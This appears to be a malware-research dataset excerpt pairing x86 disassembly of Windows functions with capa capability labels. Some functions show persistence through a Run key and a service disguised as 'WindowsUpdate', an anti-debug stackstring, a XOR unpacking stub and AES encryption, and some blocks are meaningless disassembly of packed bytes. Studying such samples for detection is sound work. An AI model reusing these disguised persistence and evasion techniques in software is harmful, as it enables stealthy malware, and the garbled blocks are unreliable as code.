joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44bd90
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4a3d53
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.004973db
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.0049ca71
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.0049df8d
test eax, eax
je 0x44beac
mov ecx, dword [esp + 0x3c]
call fcn.0049ca9e
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x44be70
push edi
mov ecx, esi
call fcn.0049a107
mov ecx, esi
call fcn.0044c050
cmp dword [esp + 0x38], 1
jne 0x44bea5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.0049a242
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x44e0b0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x44e0e3
push esi
call fcn.0045c450
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44e0dc
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x44e169
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x44e152
mov eax, dword [esi + 8]
test eax, eax
je 0x44e107
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x44e14e
cmp eax, 2
je 0x44e152
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x44e0fa
cmp eax, 3
je 0x44e12d
cmp eax, 1
jne 0x44e0fa
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x44e0fa
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x44e0fa
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.0044e190
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x44e178
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.0044e190
add esp, 4
pop esi
ret

Function at 0x44ea00
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x44ea21
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x44ea21
mov eax, dword [eax + 0x44]
test eax, eax
je 0x44ea21
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x46b690
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x46b733
test eax, eax
jbe 0x46b733
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x46b733
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x46b6de
xor esi, esi
jmp 0x46b6e4
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x46b70f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.0040d6d0
add esi, eax
push esi
mov ebx, esi
call fcn.0040d6d0
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x46b6f0
pop ebp
test edi, edi
pop edi
jne 0x46b733
test ebx, ebx
je 0x46b733
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.00486180
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x46b855
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x46b96d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x46b96d
mov eax, dword [esi + 0x3c]
push eax
call fcn.0049782d
mov esi, eax
test esi, esi
je 0x46b96d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x46b96d
mov ecx, esi
call fcn.0046b7e0
cmp edi, eax
jge 0x46b96d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x46b8f3
mov dword [esp + 0x34], 1
jmp 0x46b94e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x46b96d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0046add0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x4709d0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5134d0]
xor edx, edx
cmp eax, edx
jne 0x4709f6
xor eax, eax
mov byte [eax + 0x5133d0], al
inc eax
cmp eax, 0x100
jl 0x4709de
mov dword [0x5134d0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5133d0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x470a87
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x470a5a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x470a28
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x470a90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x470ae3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x470aca
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x477460
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4a445e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.00477d80
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x4c6edc
call fcn.00495b41
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x4774f3
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00495b41
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x4774ec
push 0
mov ecx, eax
call fcn.0046e600
mov dword [esi + 0xc], eax
jmp 0x4774f5
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x4774f5
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x4981d1
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x498209
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0049625b
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00496233
jmp 0x498215
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4998bf
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x499901
call fcn.0049f37d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x499901
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4998f8
xor eax, eax
jmp 0x499909
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0049990f
pop edi
pop esi
pop ebx
ret 4
Function at 0x49f8ad
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x49f8db
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x49f8f9
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0049f813
jmp 0x49f8f9
mov eax, dword [esi + 0x14]
test eax, eax
je 0x49f8f9
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0049f813
test edi, edi
mov eax, edi
jne 0x49f8e3
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4d3450
Capabilities:
Encode data using xor

Disassembly:
mov byte [ebx - 0x525550ec], bh
adc cl, ch
add edi, dword ss:[ebp - 0x34]
pop ebp
cmp byte [eax], 0xa2
xor dword [ebp + 0x75], edi
sbb eax, 0xa9c771f4
enter 0xffffffffffffc48d, 0x3c
sub eax, 0x871ff269
mov al, 0xfa
lahf
mov ebx, 0xc58edeaa
sahf
idiv cl
pop es
jmp 0x745c9d53
add eax, 0xb0b9ddcc
in eax, 0x53
inc esp
fcom dword [0xc9ad20a5]
jne 0x4d340c
movsb byte es:[edi], byte [esi]
pushal
mov dh, 0x2c
mov ch, 0x45
mul byte [edi - 0x18]
insd dword es:[edi], dx
cmc
lcall 0xc307, 0x6e852f26
pop ebp
mov eax, dword [0x52b26305]
js 0x4d34e1
clc
or al, 0xd6
fldenv [ebp - 0x7b]
inc ecx
invalid
invalid

Function at 0x5ffc32
Capabilities:
Encode data using xor

Disassembly:
lgs ebp, [eax]
cmp dh, cl
add ah, byte [esi - 0x2e]
xadd dword [eax + 0x49], esp
sub esp, dword [edi - 0x22]
xchg edx, eax
invalid

Function at 0x61c05f
Capabilities:
Encode data using xor

Disassembly:
lock add dword [esi], ebp
mov dl, 0xe9
push ss
outsd dx, dword [esi]
add al, 0x91
invalid

Function at 0x658f3d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x660398
cmp edx, dword [eax]
je 0x658f5f
add eax, 8
inc ecx
cmp eax, 0x660428
jl 0x658f50
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x660398]
jne 0x65908d
mov eax, dword [0xa5d0f4]
cmp eax, 1
je 0x659067
test eax, eax
jne 0x658f90
cmp dword [0x6602c4], 1
je 0x659067
cmp edx, 0xfc
je 0x65908d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x658fc7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00659920
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00659db0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x65900a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00659db0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x65e5ec
push edi
call fcn.0065bc80
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00659920
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00659930
lea eax, [ebp - 0xa0]
push 0x65e5cc
in eax, 0x65
add byte [eax - 0x18], dl
test dword [eax], 0xb6ff0000
pushfd
add esp, dword [esi]
lea eax, [ebp + 8]
lea esi, [esi + 0x66039c]
push 0
push eax
push dword [esi]
call fcn.00659db0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x4015a2
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax

Function at 0x40166a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x84
mov dword [ebp - 0x2f], 0x7551744e
mov dword [ebp - 0x2b], 0x49797265
mov dword [ebp - 0x27], 0x726f666e
mov dword [ebp - 0x23], 0x6974616d
mov dword [ebp - 0x1f], 0x72506e6f
mov dword [ebp - 0x1b], 0x7365636f
mov word [ebp - 0x17], 0x73
lea eax, [ebp - 0x15]
mov dword [ebp - 0x14], eax
nop
nop
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x15]
mov dword [esp + 8], edx
mov dword [esp + 4], 0x19
lea edx, [ebp - 0x2f]
mov dword [esp], edx
mov ecx, eax
call fcn.0049b900
sub esp, 0xc
lea eax, [ebp - 0x15]
mov ecx, eax
call fcn.0048c3b0
nop
mov dword [esp + 4], 0x4b8044
lea eax, [ebp - 0x48]
mov dword [esp], eax
call fcn.004015b6
lea eax, [ebp - 0x48]
mov ecx, eax
call fcn.0042b430
mov dword [esp], eax
call fcn.00401629
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40170e
mov ebx, 0
jmp 0x401762
mov dword [ebp - 0x64], 0
mov ebx, dword [ebp - 0xc]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
lea edx, [ebp - 0x64]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x18
lea edx, [ebp - 0x60]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call ebx
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40175c
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x40175c
mov ebx, 1
jmp 0x401761
mov ebx, 0
nop
lea eax, [ebp - 0x48]
mov ecx, eax
call fcn.0049c050
mov eax, ebx
jmp 0x40179d
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x4017a2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x8c], ecx
mov eax, dword [ebp - 0x8c]
mov ecx, eax
call fcn.00401b4e
xor eax, 1
test al, al
jne 0x401969
mov dword [ebp - 0x40], 0x54464f53
mov dword [ebp - 0x3c], 0x45524157
mov dword [ebp - 0x38], 0x63694d5c
mov dword [ebp - 0x34], 0x6f736f72
mov dword [ebp - 0x30], 0x575c7466
mov dword [ebp - 0x2c], 0x6f646e69
mov dword [ebp - 0x28], 0x435c7377
mov dword [ebp - 0x24], 0x65727275
mov dword [ebp - 0x20], 0x6556746e
mov dword [ebp - 0x1c], 0x6f697372
mov dword [ebp - 0x18], 0x75525c6e
mov word [ebp - 0x14], 0x6e
lea eax, [ebp - 0x12]
mov dword [ebp - 0xc], eax
nop
nop
lea eax, [ebp - 0x58]
lea edx, [ebp - 0x12]
mov dword [esp + 8], edx
mov dword [esp + 4], 0x2d
lea edx, [ebp - 0x40]
mov dword [esp], edx
mov ecx, eax
call fcn.0049b900
sub esp, 0xc
lea eax, [ebp - 0x12]
mov ecx, eax
call fcn.0048c3b0
nop
mov dword [esp + 4], 0x4b8044
lea eax, [ebp - 0x58]
mov dword [esp], eax
call fcn.004015b6
mov dword [ebp - 0x66], 0x646e6957
mov dword [ebp - 0x62], 0x5573776f
mov dword [ebp - 0x5e], 0x74616470
mov word [ebp - 0x5a], 0x65
lea eax, [ebp - 0x11]
mov dword [ebp - 0x10], eax
nop
nop
lea eax, [ebp - 0x80]
lea edx, [ebp - 0x11]
mov dword [esp + 8], edx
mov dword [esp + 4], 0xd
lea edx, [ebp - 0x66]
mov dword [esp], edx
mov ecx, eax
call fcn.0049b900
sub esp, 0xc
lea eax, [ebp - 0x11]
mov ecx, eax
call fcn.0048c3b0
nop
mov dword [esp + 4], 0x4b8044
lea eax, [ebp - 0x80]
mov dword [esp], eax
call fcn.004015b6
mov eax, dword [ebp - 0x8c]
mov ecx, eax
call fcn.00401970
mov eax, dword [ebp - 0x8c]
mov ecx, eax
call fcn.00401a3e
mov eax, dword [ebp - 0x8c]
mov ecx, eax
call fcn.00401572
mov eax, dword [ebp - 0x8c]
mov ecx, eax
call fcn.0040157e
mov eax, dword [ebp - 0x8c]
mov ecx, eax
call fcn.0040158a
lea eax, [ebp - 0x80]
mov ecx, eax
call fcn.0049c050
lea eax, [ebp - 0x58]
mov ecx, eax
call fcn.0049c050
jmp 0x40196a
nop
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x401970
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x54
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x10], 0
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x20106
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401a38
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x401a38
mov eax, dword [ebp - 0x1c]
mov ecx, eax
call fcn.0042b5c0
lea ebx, [eax + 1]
mov eax, dword [ebp - 0x1c]
mov ecx, eax
call fcn.0042b430
mov edx, dword [ebp - 0x10]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.WindowsUpdate
mov dword [esp], edx
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
nop
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x401a3e
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 0x1c], ecx
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401b10
mov dword [ebp - 0x10], 0xf01ff
mov eax, dword [ebp - 0x1c]
mov ecx, eax
call fcn.0042b430
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], str.RpcSs
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 1
mov dword [esp + 0x14], 2
mov dword [esp + 0x10], 0x110
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.Windows_System_Update
mov dword [esp + 4], str.WindowsUpdate
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CreateServiceA]
call eax
sub esp, 0x34
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x14]
mov dword [esp], edx
mov ecx, eax
call fcn.00401b14
sub esp, 8
jmp 0x401b11
nop
leave
ret
Function at 0x401cb0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x64
mov dword [esp + 0x10], 0xf0000000
mov dword [esp + 0xc], 0x18
mov dword [esp + 8], str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
mov dword [esp + 4], 0
lea eax, [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
jne 0x401eee
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x38]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 1
mov dword [esp + 4], 0x6610
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptGenKey]
call eax
sub esp, 0x10
test eax, eax
sete al
test al, al
je 0x401d41
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call eax
sub esp, 8
jmp 0x401eef
lea eax, [ebp - 0x2d]
mov dword [ebp - 0xc], eax
nop
nop
mov eax, dword [ebp + 8]
mov ecx, eax
call fcn.0042b1b0
mov ebx, eax
mov eax, dword [ebp + 8]
mov ecx, eax
call fcn.0042b420
mov edx, eax
lea eax, [ebp - 0x44]
lea ecx, [ebp - 0x2d]
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp], edx
mov ecx, eax
call fcn.00497a6c
sub esp, 0xc
lea eax, [ebp - 0x2d]
mov ecx, eax
call fcn.0048c418
nop
lea eax, [ebp - 0x44]
mov ecx, eax
call fcn.00429cec
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x44]
mov ecx, eax
call fcn.00429cec
mov ebx, eax
lea eax, [ebp - 0x44]
mov ecx, eax
call fcn.00497a4c
mov edx, dword [ebp - 0x38]
mov dword [esp + 0x18], ebx
lea ecx, [ebp - 0x48]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], edx
mov eax, dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
call eax
sub esp, 0x1c
test eax, eax
sete al
test al, al
je 0x401e1c
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call eax
sub esp, 4
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call eax
sub esp, 8
mov ebx, 0
jmp 0x401ea3
lea eax, [ebp - 0x11]
mov dword [ebp - 0x10], eax
nop
nop
mov ebx, dword [ebp - 0x48]
lea eax, [ebp - 0x44]
mov ecx, eax
call fcn.00497a4c
mov edx, eax
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x11]
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp], edx
mov ecx, eax
call fcn.0049b900
sub esp, 0xc
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x2c]
mov dword [esp], edx
mov ecx, eax
call fcn.0049c0b0
sub esp, 4
lea eax, [ebp - 0x2c]
mov ecx, eax
call fcn.0049c050
lea eax, [ebp - 0x11]
mov ecx, eax
call fcn.0048c3b0
nop
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call eax
sub esp, 4
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call eax
sub esp, 8
mov ebx, 1
lea eax, [ebp - 0x44]
mov ecx, eax
call fcn.00497ac8
cmp ebx, 1
jmp 0x401eef
nop
mov ebx, dword [ebp - 4]
leave
ret